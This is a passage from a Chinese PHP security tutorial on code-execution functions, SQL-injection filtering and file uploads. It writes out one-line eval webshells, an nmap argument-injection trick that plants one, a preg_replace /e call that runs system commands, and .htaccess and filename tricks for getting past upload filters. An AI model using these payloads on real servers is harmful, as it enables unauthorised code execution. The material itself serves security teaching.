- 反斜杠 + 换行(
\
后紧跟真实的换行)会被整体删除,形成行连接:
因此传参内容会被 shell 转换,去掉一些不在引号内的
\
:''\\''\<\?php
→\<?php
@eval\(\$_POST\[“a”\]\)\;\?\>
→@eval($_POST[a]);?>
(未转义的双引号没有被当做参数传入)'\\'''
→\\
nmap
在运行时会扫描这三个 ip,输出如下:1
2
3
4
5
6
7
8
9Warning: Nmap may not work correctly on Windows Subsystem for Linux.
For best performance and accuracy, use the native Windows build from https://nmap.org/download.html#windows.
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-02 01:45 CST
Failed to resolve "\<?php".
Failed to resolve "@eval($_POST[a]);?>".
Failed to resolve "\\".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.03 seconds
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.03 seconds而扫描结果会写入
1.php
中,内容如下。可以看到一句话木马被成功写入。1
2# Nmap 7.80 scan initiated Sat Aug 2 01:41:19 2025 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG 1.php \\<?php @eval($_POST[a]);?> \\\\
# Nmap done at Sat Aug 2 01:41:19 2025 -- 0 IP addresses (0 hosts up) scanned in 0.15 seconds
PHP 代码执行函数
eval
eval()
是一个 语言结构(language construct),用于在运行时动态执行 PHP 代码字符串。它可以修改作用域中的变量,并可通过 return
返回值。但由于极易被用于执行恶意代码,因此强烈建议谨慎使用。
语言结构(language construct) 是指:在 PHP 中属于语言本身内置的关键语法元素,而不是一个普通的函数。
可以理解为:
- 函数是可以被调用的子程序;
- 语言结构是写 PHP 语法时不可或缺的“语法块”或“指令”,它们在底层直接由 PHP 引擎解析和执行,不需要函数调用开销。
1 | function eval(string $code): mixed |
参数:
string $code
:需要被执行的合法 PHP 代码字符串。注意
需要被执行的 PHP 代码字符串不需要也不能包含
<?php ... ?>
标签;所有 PHP 语句通常都必须以
;
结尾;但在某些场景下,如果语句正好是最后一行代码,并且通过?>
退出了 PHP 模式,就可以省略;
。1
2
eval('echo 123 ?>'); // ✅ 有效,输出:123这是因为
?>
表示离开 PHP 模式,进入 HTML 模式,PHP 在解析时会自动将未结束的语句当作完整语句处理。而eval()
执行的是纯 PHP 代码,因此默认就处于 PHP 模式,不需要<?php
开头,但可以用?>
来结束模式。代码可以包含
return xxx;
语句,然后这个值就会被eval()
返回。
返回值:
- 如果被执行的代码中有
return
,则返回该值; - 否则返回
null
; - 如果代码语法错误:
- 在 PHP 7+ 会抛出
ParseError
异常; - 在 PHP 7 以下会返回
false
(不会抛异常)。
- 在 PHP 7+ 会抛出
- 如果被执行的代码中有
提示
eval()
是一种作用域共享但控制流隔离的动态执行机制。它在调用时接收一段字符串形式的 PHP 代码,在当前作用域下即时编译并执行,因此能够访问和修改当前作用域中的变量。1
2
3$x = 10;
eval('$x = $x + 5;');
echo $x; // ✅ 输出 15,说明外部变量被修改了然而,
eval()
的控制结构(如return
、break
、continue
)仅在其自身范围内生效,不会影响调用它的函数或脚本的执行流程。简而言之:
eval()
并不会将代码“真正嵌入”到当前位置,而是作为一个独立的代码块在当前上下文中执行。在利用
eval
写一句话木马的时候,可以成如下形式:1
@eval($_GET['a']);
- 其中
@
是一个错误控制操作符(error control operator),它并不是 PHPStorm 的特性,而是 PHP 语言本身的语法,用于抑制某一行表达式执行时产生的错误或警告信息。这里使用错误抑制符是为了隐藏没有传参导致的 Notice 错误。 - 在一些情景下由于引号转义或过滤无法写成
'a'
的形式,我们可以省略引号。
- 其中
assert
assert()
函数用于在运行时检测某个断言表达式是否为 false,常用于调试和开发中的条件检查。在 PHP 7+ 中支持更灵活的表达式和异常处理机制,但由于历史上的滥用风险,它也常在安全审计中作为动态代码执行点被重点关注。
1 | function assert(mixed $assertion, string|Throwable|null $description = null): bool |
参数:
mixed $assertion
:要进行判断的表达式。- PHP 5.x 中必须是布尔值或字符串(将被
eval()
执行); - PHP 7.0+ 支持任何可返回值的表达式;
- 从 PHP 7.2 起,字符串形式的断言(即
assert('$x > 0')
)被弃用,因为它隐式执行代码,会导致代码注入风险。
- PHP 5.x 中必须是布尔值或字符串(将被
string|Throwable|null $description
(可选):当断言失败时,用于说明失败原因:- 可传字符串作为报错信息;
- 或从 PHP 7+ 起传
Throwable
(如AssertionError
),可被try-catch
捕获。
返回值:
如果断言表达式为
false
,返回false
;如果断言成功(为
true
),返回true
;PHP 7+ 中失败时还可能抛出
AssertionError
异常(具体行为由配置项决定)。
assert
函数的行为受 php.ini
中的以下配置选项影响:
zend.assertions
:是否启用断言功能的编译支持。PHP 7.x 默认是1
,PHP 8 起默认是-1
(彻底禁用)。1
:启用断言(assert()
会被编译执行)0
:禁用断言但仍保留assert()
语句(用于开发环境切换)-1
:彻底禁用,断言代码会被优化器移除(连字节码都不会生成)
assert.active
:是否启用运行时的断言检查。这个选项适合“保留断言代码但暂时不执行”,用于调试关闭/开启切换,默认为 1。1
:断言表达式会在运行时执行;0
:所有assert()
都会被跳过,但代码仍然被编译;
assert.exception
:在断言失败时,是否抛出AssertionError
异常(PHP 7+),默认为 0。1
:开启后,断言失败将 抛出异常,可被try-catch
捕获;0
:关闭时,断言失败只会产生警告或无声失败。
assert.warning
:是否触发 PHP 警告(不推荐),默认为 1。1
:断言失败时会触发 E_WARNING;0
:断言失败时静默返回 false(除非你配合exception
)。
提示
在 PHP 7.2 之前,assert
允许使用字符串形式的断言:
1 | $x = 1; |
所以在安全审计中 PHP ≤ 7.1 的 assert()
相当于一个隐式 eval(),如果 assert()
的参数来自用户输入,可能造成任意代码执行漏洞。
在现代 PHP 中已逐步转向 throw new AssertionError()
或使用专用断言库(如 webmozart/assert
)。另外在高版本 PHP 中 assert
也做了部分限制:
- 从 PHP 7.2 起,字符串断言被标记为 deprecated(废弃);
- 从 PHP 8 起,默认配置中
zend.assertions=-1
,禁用断言;
preg_replace(带 /e
修饰符,已废弃)
preg_replace()
函数用于对字符串执行正则表达式的搜索与替换操作,支持数组输入与批量模式替换,是文本清洗、格式转换中常用的函数。
1 | preg_replace( |
参数:
array|string $pattern
:要搜索的正则表达式,支持 PCRE 修饰符(如i
,s
,u
等)。支持:- 单个模式字符串:如
'/\d+/'
; - 多个模式数组:如
['/foo/', '/bar/']
。
PCRE 修饰符(Perl Compatible Regular Expressions modifiers,Perl 兼容正则表达式修饰符)是用于控制 正则表达式行为的附加标志,通常以
/pattern/modifier
的形式出现在正则表达式末尾。在 PHP 中使用
preg_
系列函数时,正则表达式大多写成:1
'/正则表达式/modifiers'
⚠️ 特别注意:历史上支持的
'e'
修饰符(表示将替换结果eval()
执行)已被废弃(PHP 5.5)并在 PHP 7.0 被彻底移除,使用它会造成严重的安全风险(命令执行)。- 单个模式字符串:如
array|string $replacement
:用于替换匹配内容的字符串或字符串数组;- 如果
replacement
是字符串而pattern
是数组,则所有pattern
都会被替换为相同的replacement
。 - 如果
pattern
和replacement
都是数组,则一一对应替换;若replacement
数量不足,多余的pattern
将替换为空字符串。
另外
$replacement
参数里可以用 反向引用(backreference),即引用你正则中 捕获的括号内容 来生成新字符串。在$replacement
字符串中,可以使用:$n
或\n
:表示第n
个括号捕获的内容。$0
或\0
:表示 整个正则模式匹配的内容。- 为避免
$11
这样的语法歧义(可能被当作第 11 个捕获组),请写成${1}1
表示$1
后跟字符1
; - 若你希望在替换字符串中包含字面量的反斜杠
\
,应使用双反斜杠"\\\\"
。这是因为因为你写的代码是 PHP 代码,但preg_replace()
的行为是 正则库行为(PCRE)。两者是 两个独立的解释系统,各自有自己的“转义规则”。- PHP 中,反斜杠
\
是 转义符。所以你写的字符串如果是"\\\\"
则会被转义为:"\\"
preg_replace()
把你写的替换字符串再解释一次,**把\\
当成一个字面量反斜杠\
**。
- PHP 中,反斜杠
- 如果
array|string $subject
:要搜索和替换的目标字符串或字符串数组。若传入数组,则会对每个元素分别执行替换操作,返回值也将为数组。int $limit
(可选):每个subject
字符串中,每个pattern
可执行的最大替换次数;默认为-1
(不限制)。int &$count
(可选)此变量将会被填充为实际执行的替换次数总数。
返回值:
- 若 subject 是字符串,返回替换后的字符串;
- 若 subject 是数组,返回替换后的数组;
- 若无匹配项,返回原值;
- 若发生错误,返回 null。
提示
简单来说 preg_replace()
是一个正则表达式替换函数。它会使用正则模式 $pattern
去匹配 $subject
中的内容。对于每一处匹配到的部分,它会用 $replacement
的值进行替换:
- 如果
$replacement
是普通字符串:直接使用该字符串替换匹配到的内容; - 如果
$replacement
中包含反向引用(如$1
,$2
,$0
等):会先将这些占位符替换为正则中对应 捕获组 的内容,再进行替换。
最后返回替换后的字符串(或数组)。
/e
是 preg_replace()
在 PHP < 7.0 中支持的一个特殊修饰符,表示在替换时,先将 $replacement
中的 $0
、$1
等变量替换为对应的匹配内容,再将 整个替换结果作为 PHP 代码执行(通过隐式 eval()
),而不是作为普通字符串插入。
也就是说:
1 | preg_replace('/(.*)/e', 'system("$1")', 'ls'); |
在 /e
模式中,preg_replace()
的处理过程为:
解析正则表达式
- 看到
/e
,标记这是「eval-replacement」模式; - 去掉最后的
e
;内部真正用来匹配的正则实际为:/(.*)/
。
- 看到
执行正则匹配
1
2
3
4
5$pattern_no_e = '/(.*)/'; // 去掉 e
$subject = 'ls';
preg_match($pattern_no_e, $subject, $matches);
// $matches[0] == 'ls' (完整匹配)
// $matches[1] == 'ls' (第 1 个捕获组)生成「待执行」的代码字符串
1
2
3
4
5
6$replacement_template = 'system("$1")';
$evaluated_code = strtr($replacement_template, [
'$1' => $matches[1], // => 'ls'
'$0' => $matches[0], // 如果模板里有 $0 也要换
]);
// $evaluated_code == 'system("ls")'eval()
执行这段代码1
$result = eval("return $evaluated_code;");
- 组装出的语句是:
return system("ls");
- 于是真的执行
system("ls")
,命令结果被输出 / 返回。
- 组装出的语句是:
因此在 preg_replace()
中使用 /e
修饰符时,如果 $replacement
中包含如 $0
、$1
等变量占位符,这些会被替换为 $subject
中正则捕获到的内容,再作为 PHP 代码执行。
如果 $subject
是用户可控的,就可能构造恶意内容注入到 $replacement
中,最终导致通过 eval()
执行任意 PHP 代码,造成 远程代码执行(RCE)漏洞。
提示
/e
修饰符的设计初衷是:将preg_replace()
的$replacement
参数作为 PHP 代码执行。由于只有preg_replace()
涉及“替换字符串”的处理逻辑,因此/e
仅适用于这个函数,而不会出现在其他正则函数中。- 由于
/e
修饰符的危险性,该修饰符在 PHP 7.0.0 起被彻底移除,使用会导致语法错误(fatal error)。
preg_replace_callback()
是 PHP 5.0 引入的 回调式正则替换函数,其设计初衷是为了解决 preg_replace()
中 /e
修饰符带来的 安全隐患(如代码注入),提供一个更安全、结构更清晰的替代方案。
1 | preg_replace_callback( |
它与 preg_replace()
的主要区别是:不再接受 $replacement
字符串参数,而是通过 显式的回调函数 $callback
决定每次替换的内容。
这样转换逻辑就变成了写死的回调函数,而不是根据匹配内容动态拼接成 PHP 代码执行。
1 | // 用户提交的数字被当作代码执行 |
create_function(已废弃)
create_function()
用于在运行时动态创建一个匿名函数(也叫 lambda 函数)。
1 | create_function(string $args, string $code): string|false |
参数:
string $args
:参数列表字符串,例如'a, b'
string $code
:函数体代码字符串,例如'return $a + $b;'
返回值:
成功时返回一个唯一的函数名(如
lambda_1
)失败时返回
false
示例:
1
2$sum = create_function('$a, $b', 'return $a + $b;');
echo $sum(3, 4); // 输出 7
注意
由于传入的是字符串形式的参数和代码,**create_function()
本质上会使用 eval()
动态拼接和执行代码** ,因此:
PHP 7.2 起标记为 已弃用(Deprecated)
PHP 8.0 起被 彻底移除
回调函数
可变函数
在 PHP 中,可变函数(Variable Functions)是一种允许使用变量名来调用函数的机制。它是 PHP 动态特性的典型代表之一,常用于回调、通用处理器、动态映射等场景。
可变函数支持多种形式,为确保安全调用,PHP 提供了 is_callable()
用于判断变量是否为有效的可调用项。
普通函数
可变函数的基本用法:变量 $f
存的是函数名 "say"
,所以 $f()
就是调用 say()
。
1 | function say() { |
注意
如果一个变量名包含的是函数的名字,那么你可以通过加括号来调用它。但字符串本身不能作为函数名直接执行,必须是变量或函数本体。
1
'hello'();
PHP 中的许多 语言结构(
echo
、include
、isset
等)不是函数,因此不能通过可变函数(例如$func()
)的方式来调用。1
2$func = 'echo';
$func('hello'); // ❌ 报错:echo 不是函数,不能这样调用
对象方法
对象方法调用可以使用 $对象->$方法名变量()
,也可以用 [对象, 方法名]
组成的数组作为回调。
1 | class Dog { |
类静态方法
静态方法可以通过类名加变量的方式调用,也可以使用 "类名::方法名"
字符串或 [类名, 方法名]
数组。
1 | class Dog { |
匿名函数 (闭包)
匿名函数赋值给变量后,直接调用即可。适用于回调、动态逻辑等。
1 | $func = function($name) { |
通用调用器函数
可变函数简单,但不通用;为了弥补可变函数的缺点,PHP 提供了 call_user_func
和 call_user_func_array
两个通用调度器函数。
call_user_func
call_user_func()
函数用于调用任意合法的回调函数,包括函数名字符串、匿名函数、对象方法、类静态方法等。它支持传入多个参数,适用于动态执行回调、统一处理多种 callable 类型的场景。
1 | function call_user_func(callable $callback, mixed ...$args): mixed {} |
参数:
callable $callback
:要调用的回调,可以是函数名、闭包、[$object, "method"]
、["ClassName", "method"]
、"ClassName::method"
等形式。mixed ...$args
:要传递给回调函数的参数,个数不限。注意这里
返回值:
- 回调函数的返回结果;
- 如果调用失败(例如
$callback
无效),返回false
。
注意
$callback
类型与可变函数一致,但是这里可以$callback
参数直接传递常量。例如"ClassName::method"
字符串形式虽然不是直接$cb()
能用的,但在call_user_func()
中是合法的;参数是按值传递,如果需要引用传参请使用
call_user_func_array()
;
call_user_func_array
call_user_func_array()
函数用于调用任意合法回调,并通过一个参数数组传递参数。适合参数数量动态或以数组形式组织时调用函数。
1 | function call_user_func_array(callable $callback, array $args): mixed {} |
参数:
callable $callback
:要调用的回调函数或方法。支持所有合法的 callable 类型,如函数名、匿名函数、闭包、[对象, 方法]
、"Class::method"
等。array $args
:要传递给回调函数的参数数组。必须是索引数组(Indexed array),顺序与函数参数顺序一一对应。
返回值:
- 回调函数的返回结果;
- 如果调用失败(例如
$callback
无效或参数错误),返回false
。
注意
与
call_user_func()
不同,call_user_func_array()
支持通过数组传递任意数量的参数,适合参数数量不固定或来源动态(如配置、数据库、用户输入)的场景;参数是按值传递,如需引用请配合
&$param
使用;从 PHP 5.6 开始,
$callback(...$args)
语法也能实现相同效果,但兼容性不如本函数好。
功能型回调函数
在 PHP 中,有许多函数可以接受并调用回调函数,尤其是在处理数组时。这些函数通常被称为功能型回调函数,它们的特点是:
- 接收一个回调函数作为参数;
- 将该回调应用到数组(或其它集合)中的每个元素;
- 返回一个新的结果,或者原地修改数据。
这类函数是 PHP 实现“函数式编程风格”的基础。
像这种函数如果传入的回调函数和数组内容可控,我们同样可以调用任意函数并且参数可控。
1 | // 将回调函数应用到数组每一个元素,返回新数组 |
数据库相关
常见数据库扩展
PHP 通过扩展来支持不同的数据库,每个数据库的扩展都有自己的一套 API。比如:
- MySQL 使用 MySQLi 或 PDO_MySQL。
- PostgreSQL 使用 pg_connect 或 PDO_PGSQL。
- SQLite 使用 SQLite3 或 PDO_SQLITE。
- Oracle 使用 OCI8。
PHP 的设计初期,开发者倾向于为每种数据库写一个独立的扩展,以便简化与每种数据库的交互。种做法虽然简单,但随着时间的推移,不同数据库的访问接口分散且不统一。
尽管 PHP 中有多个数据库扩展,但 PDO (PHP Data Objects) 作为一种统一的数据库访问方法,已经成为 PHP 推荐的标准做法。PDO 提供了一个统一的接口,可以访问不同类型的数据库,支持多种数据库类型,包括 MySQL、PostgreSQL、SQLite、Oracle 等。
PDO (PHP Data Objects)
PDO 是 PHP 的一种数据库抽象层接口,它使得开发者可以使用相同的方式与不同的数据库进行交互。通过 PDO* ,你可以轻松切换不同的数据库而无需修改应用程序的大量代码。
连接数据库
1 | try { |
执行语句
PDO 提供了如下方法来实现 SQL 语句执行:
PDO::prepare($sql)
:准备 SQL 查询语句。预处理语句可以防止 SQL 注入。PDO::bindParam($parameter, $variable, $data_type)
:绑定参数,确保输入的变量符合指定的数据类型。PDO::execute()
:执行预处理语句。PDO::fetch()
:获取查询结果集中的一行。PDO::fetchAll()
:获取查询结果集中的所有行。
例如下面的 PHP 代码实现了根据参数查询数据库并返回结果的操作:
1 | $stmt = $conn->prepare("SELECT id, name FROM users WHERE email = :email"); |
提示
使用 预处理语句(prepare
)和 参数绑定(bindParam
)是防止 SQL 注入的最佳实践。这意味着用户的输入不会直接拼接到 SQL 语句中,而是通过绑定参数的方式传递。
MySQLi (MySQL Improved)
MySQLi 是 PHP 用于与 MySQL 和 MariaDB 数据库交互的扩展,提供了过程式和面向对象两种风格。MySQLi 不仅支持预处理语句,还支持事务处理、存储过程等。
SQL 注入的过滤与防护
常见过滤函数
addslashes
addslashes()
函数用于在特定字符前添加反斜杠,以转义这些字符,避免它们在 SQL 查询中被当作语法字符。
1 | string addslashes(string $str) |
- 参数:
string $string
:需要转义的原始字符串。
- 返回值:返回一个转义后的字符串,对以下字符添加反斜杠:
- 单引号(
'
) - 双引号(
"
) - 反斜杠(
\
) - NULL 字符(
\0
)
- 单引号(
addslashes()
并没有完全防止 SQL 注入,特别是对于复杂的注入攻击,它仍然不能阻止攻击者绕过防护(如使用分号 ;
、注释 --
等),所以它并不是最佳的防护手段。
MySQLi 和 MySQL 的转义函数
mysqli_real_escape_string()
是 MySQLi 扩展中提供的用于转义 SQL 字符串的函数,它比 addslashes()
更安全。
1 | public string mysqli::real_escape_string(string $string) |
PDO 的转义函数
常见防护方法
预处理语句
强制类型转换
文件上传相关
PHP 的文件上传依赖于 HTML 表单和 $_FILES
变量,并遵循 multipart/form-data
方式传输。
PHP 文件上传基础
PHP 文件操作函数
文件打开与关闭
函数 | 作用 |
---|---|
fopen($file, $mode) |
以指定模式打开文件 |
fclose($handle) |
关闭文件句柄 |
常见的 fopen()
模式:
模式 | 作用 |
---|---|
"r" |
只读,文件指针在开头 |
"w" |
只写,清空文件,若不存在则创建 |
"a" |
追加模式,只写,指针在末尾 |
"r+" |
读写,不清空文件,指针在开头 |
"w+" |
读写,清空文件 |
"a+" |
读写,指针在末尾 |
文件读写操作
函数 | 作用 |
---|---|
fread($handle, $length) |
读取指定字节数据 |
fgets($handle) |
读取一行 |
file_get_contents($file) |
读取整个文件 |
fwrite($handle, $data) |
写入数据 |
file_put_contents($file, $data, FILE_APPEND) |
直接写入文件,可追加 |
删除、移动和检查文件
函数 | 作用 |
---|---|
unlink($file) |
删除文件 |
rename($old, $new) |
重命名或移动文件 |
file_exists($file) |
检查文件是否存在 |
filesize($file) |
获取文件大小 |
pathinfo($file) |
获取文件路径信息 |
目录操作
函数 | 作用 |
---|---|
mkdir($dir, $mode, true) |
创建目录 |
rmdir($dir) |
删除空目录 |
scandir($dir) |
获取目录文件列表 |
PHP 文件上传过程
PHP 的文件上传过程涉及到多个环节,包括客户端浏览器的行为、服务器的临时存储和最终的文件处理。
通常来说 PHP 服务端的文件上传处理逻辑如下:
1 |
|
sequenceDiagram participant Client participant Browser participant PHP participant TmpDir as /tmp/php123.tmp participant UploadDir as uploads/ %% 🟡 表单选择与提交 opt 🟡 表单上传请求 Client->>Browser: 选择文件 Client->>Browser: 🚀 点击“上传”按钮 Browser->>PHP: 📄 POST upload.php
Content-Type: multipart/form-data end %% ⚙️ PHP 接收并生成临时文件 opt ⚙️ PHP 自动处理上传 PHP->>TmpDir: 📥 写入临时文件 PHP->>PHP: 填充 $_FILES['uploadedFile']
包含 name/type/tmp_name/error/size end %% 🧪 校验与准备目标路径 opt 🧪 文件合法性校验 PHP->>PHP: 判断 error == 0 ? PHP->>PHP: 验证 MIME 类型 与 文件大小 alt ✅ 合法 PHP->>PHP: 生成新文件名
如 uniqid().ext PHP->>UploadDir: 若 uploads/ 不存在则 mkdir() else ❌ 不合法 PHP-->>Browser: 拒绝上传(类型不符 / 超过限制) end end %% 🚚 移动临时文件到目标目录 opt 🚚 转移至上传目录 PHP->>TmpDir: move_uploaded_file(tmp_name, uploads/xxx.ext) alt ✅ 成功 TmpDir->>UploadDir: 文件从临时区“移动”到正式存储 PHP-->>Browser: 返回“上传成功”,附带文件路径 else ❌ 失败 PHP-->>Browser: 返回“上传失败(服务器内部错误)” end end
客户端发送文件上传请求
客户段上传文件需要发送文件上传请求。在客户端浏览器中,文件上传请求通常由如下表单构造:
1 | <form action="upload.php" method="POST" enctype="multipart/form-data"> |
enctype="multipart/form-data"
:确保表单可以上传文件。如果不加enctype
,表单默认以application/x-www-form-urlencoded
方式提交 ,无法上传文件。multipart/form-data
的作用就是告诉浏览器:- 分块传输(每个
input
都是一个分块) - 文件数据以二进制形式传输
- 边界分隔符 (
boundary
) 用于区分字段和文件
- 分块传输(每个
method="POST"
:文件上传必须使用POST
方法。input type="file"
:用户选择文件的输入框。
当浏览器提交文件时,它会使用 multipart/form-data
方式编码请求体。以下是一个完整的 HTTP 上传请求示例:
1 | POST /upload.php HTTP/1.1 |
Content-Type: multipart/form-data
:必定义了请求体的编码方式,浏览器须设置该字段为multipart/form-data
,否则 PHP 不会解析这个请求为文件上传。multipart/form-data
是 HTTP 协议中用于表单数据提交的编码格式* ,专门用于 包含文件的表单。它的作用是 支持文件二进制数据的上传* ,并让服务器正确解析它。在 HTML 表单提交时,常见的
enctype
编码方式有:application/x-www-form-urlencoded
(默认)multipart/form-data
(用于文件上传)text/plain
(极少使用)
其中:
application/x-www-form-urlencoded
适用于 普通表单(仅文本数据)* ,会将数据编码为key=value&key2=value2
形式。multipart/form-data
适用于包含文件的表单* ,可以处理二进制数据* ,并使用boundary
分隔不同字段。
boundary=----WebKitFormBoundaryABC123
:当 HTML 表单以multipart/form-data
方式提交时,HTTP 请求体的内容是多个部分组成的。boundary
(边界标识符)是multipart/form-data
格式中的分隔符* ,用于区分表单中的不同字段或文件。它的作用是让服务器知道每个字段的起始和结束位置。Content-Disposition: form-data; name="uploadedFile"; filename="example.jpg"
和Content-Type: image/jpeg
:这部分是multipart/form-data
请求体中的头部信息* ,用于告诉服务器这个数据块的属性。Content-Disposition: form-data; name="uploadedFile"; filename="example.jpg"
:说明这个数据块是 表单字段* ,字段名是uploadedFile
。name="uploadedFile"
必须与 HTML 表单input
的name
值匹配。filename="example.jpg"
表示用户上传的文件名。Content-Type: image/jpeg
:指定这个文件的 MIME 类型(image/jpeg
代表 JPG 图片)。
服务器接收文件并存储到临时目录
PHP 服务器端会自动解析这个 multipart/form-data
请求并填充 $_FILES
变量 :
1 | $_FILES = [ |
multipart/form-data
请求与 $_FILES
变量之间的对应关系如下:
multipart/form-data 请求 |
$_FILES["uploadedFile"] 变量 |
---|---|
name="uploadedFile" |
$_FILES["uploadedFile"] |
filename="example.jpg" |
$_FILES["uploadedFile"]["name"] |
Content-Type: image/jpeg |
$_FILES["uploadedFile"]["type"] |
文件二进制数据 |
$_FILES["uploadedFile"]["tmp_name"] (服务器上的临时文件路径) |
文件大小 |
$_FILES["uploadedFile"]["size"] |
另外 $_FILES["uploadedFile"]["error"]
可能的值:
错误代码 | 说明 |
---|---|
UPLOAD_ERR_OK (0) |
无错误,上传成功 |
UPLOAD_ERR_INI_SIZE (1) |
超出 upload_max_filesize 限制 |
UPLOAD_ERR_FORM_SIZE (2) |
超出 HTML MAX_FILE_SIZE 限制 |
UPLOAD_ERR_PARTIAL (3) |
文件部分上传 |
UPLOAD_ERR_NO_FILE (4) |
没有文件被上传 |
UPLOAD_ERR_NO_TMP_DIR (6) |
找不到临时目录 |
UPLOAD_ERR_CANT_WRITE (7) |
文件写入失败 |
在填充 $_FILES
变量的同时,PHP 还会把接收的文件临时保存在指定的临时目录中,文件名为 $_FILES["uploadedFile"]["tmp_name"]
的值。PHP 进程结束后,临时目录中保存的文件会自动删除。
在 php.ini
中,有文件上传的相关配置:
1 | file_uploads = On ; 允许上传文件 |
其中 upload_tmp_dir
指定了临时文件保存的目录,如果 upload_tmp_dir
未设置,PHP 会使用操作系统默认的临时目录:
- Linux/macOS :
/tmp/
- Windows :
C:\Windows\Temp\
PHP 代码处理上传的临时文件
前面的过程是 PHP 程序自动完成的,而这一步是通过用户代码实现。
当用户处理上传文件的代码被执行的时候说明用户向上传文件的路由发起了一次请求。因此用户代码首先会先判断该请求是否问文件上传请求,并且该文件上传请求是否成功。如果满足条件才会执行文件上传相关的处理逻辑。
1 | // 检查是否有文件上传 |
之后就是根据 $_FILES
变量中文件的相关信息做一系列的安全检查。通常包括文件类型、文件扩展名、文件大小等。只有通过了这些安全检查才会将临时文件保存至文件上传的目录。
1 | $fileTmpPath = $_FILES["uploadedFile"]["tmp_name"]; // 临时文件路径 |
当安全检查通过时,PHP 可以通过 move_uploaded_file
函数将临时文件移动在上传目录中保存。
1 | // 关键步骤:从临时目录移动到目标目录 |
在 PHP 处理文件上传时,**move_uploaded_file()
是唯一推荐用于移动上传文件的函数** 。
move_uploaded_file()
会检查$tmp_name
是否真的来自$_FILES
,防止伪造路径。move_uploaded_file()
移动后,tmp_name
会消失* ,防止临时文件被二次利用。move_uploaded_file()
不会创建额外的文件副本* ,节省服务器存储空间。
而 rename
和 copy
虽然也能实现同样的功能,但是二者不是专门用于处理文件上传的函数,缺少相关的安全检查(如检移动查文件是否是上传的临时文件)。
PHP 文件上传漏洞
判断文件上传检查方式
我们可以通过观察文件上传的几个关键特征来快速定位文件上传的检查方式。
graph TD; A[上传点] --> B{上传非法文件,返回结果是否很快?} B -- 是 --> C[客户端检查] B -- 否 --> D[服务端检查] D --> E{是否可以上传非图片内容,但使用图片后缀?} E -- 是 --> F[检查后缀] E -- 否 --> G[检查内容] F --> H{是否可以上传任意后缀?如 .asdxxx} H -- 是 --> I[黑名单] H -- 否 --> J[白名单] G --> K{上传后图片大小、颜色、MD5 是否变化?} K -- 是 --> L[只读取内容] K -- 否 --> M[重新渲染] E -- 其他情况 --> N[逻辑]
文件上传绕过
针对不同的文件上传检测方式选择合适的绕过方法。
客户端检测
- 在本地浏览器客户端禁用 JS(火狐:
about:config → javascript.enabled
) - 手动修改前端代码
- Burp Suite 修改请求数据
黑名单检测
其它可解析后缀绕过,例如
php2
、php3
、php5
、phtml
、pht
等。提示
能否解析取决于服务器配置文件,例如 Apache 服务器:
AddType application/x-httpd-php .php .phtml .php5 .php3
NTFS 数据流绕过
NTFS 数据流(Alternate Data Streams,简称 ADS)是 Windows 文件系统的特性。这种特性允许在一个文件中存储多个数据流,而不仅仅是文件内容本身。
在 NTFS 文件系统中,文件不仅可以包含主数据流,还可以包含一个或多个附加的数据流。这些附加的数据流可以用来存储额外的信息,而不影响主数据流的内容。这些数据流通过特殊的语法
filename:streamname:$DATA
进行访问。其中$DATA
是默认类型标识,可以省略为filename:streamname
。如果我们上传一个文件
shell.php::$DATA
(附加数据流虽然没有指定名称,但仍然是一个数据流),那么:- 后端验证时认为后缀是
.php::$DATA
,不在黑名单中,因此通过验证。 - 文件被存储为
shell.php::$DATA
,但实际上存储在 NTFS 文件系统中时,系统只识别shell.php
作为文件名
- 后端验证时认为后缀是
配置文件绕过,例如对于 Apache 服务器,通过编写
.htaccess
文件,我们可以调用 PHP 的解析器去解析包含特定字符串的文件。这种方法可以绕过许多上传验证机制。.htaccess
文件,全称是 Hypertext Access(超文本入口),提供了针对目录改变配置的方法。它可以存放 Apache 服务器配置相关的指令,用于修改目录的配置设置。方法一:指定特定字符串
在
.htaccess
文件中添加如下内容。这个配置指令表示:只要文件名中包含as.png
这个字符串,无论文件名具体是什么,都可以被当作 PHP 文件解析。1
2
3<FilesMatch "as.png">
SetHandler application/x-httpd-php
</FilesMatch>方法二:设置默认解析器
通过上传一个.htaccess
文件,将整个目录下的所有文件设置为 PHP 解析,这样,该目录下的所有文件都会被当作 PHP 文件解析。1
SetHandler application/x-httpd-php
方法三:指定文件类型
另一种方式是将特定类型的文件设置为 PHP 解析。可以在.htaccess
文件中添加以下内容,这样所有.jpg
文件都会被当作 PHP 文件解析。1
AddType application/x-httpd-php jpg
后缀大小写绕过,Windows 系统对大小写不敏感,我们可以上传大小写混合的后缀绕过后缀的黑名单过滤,例如
shell.Php
。
白名单检测
截断绕过:在满足下面
php < 5.3.29
且magic_quotes_gpc=off
的基础上,后端代码会把\x00
作为字符串结束标志,因此我们可以在文件保存路径上构造一个 0 截断来绕过白名单检测。注意
- 如果是 GET 传参可以通过
%00
来表示\x00
,WEB 服务器会自动解码成\x00
传给后端代码。 - 如果是 POST 传参则传递数据的格式取决于
Content-Type
头的值,对于application/x-www-form-urlencoded
,数据会进行 URL 编码,可以使用%00
来表示\x00
,否则需要在数据包中用真正的\x00
来截断。 - 高版本 PHP 不再把
\x00
作为字符串结束标志,会自动把字符串中的\x00
去掉。
- 如果是 GET 传参可以通过
文件魔数检测
这种检测方式是通过检测文件内容开头的魔数来判断文件类型。
绕过方式是在合法文件后面拼接 webshell 然后利用文件包含漏洞执行。
二次渲染
二次渲染是根据用户上传的图片,新生成一个图片保存,并将原始图片删除。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
绕过方式是先上传一张图片,再重新将图片下载下来做比较,然后在没有变化的地方插入 webshell(通常文件分多个区段,不同区段为了对齐中间会用 0 填充,这部分可能在上传后不会被修改)。
文件包含相关
文件包含漏洞(File Inclusion Vulnerability)是一种在Web应用程序中常见的安全漏洞。它允许攻击者通过包含恶意文件的方式在服务器上执行未经授权的代码或读取敏感文件。文件包含漏洞主要分为两类:本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)。
文件包含 :开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。这样编写代码能减少代码冗余,降低代码后期维护难度,保证网站整体风格统一,比如:导航栏、底部栏等。
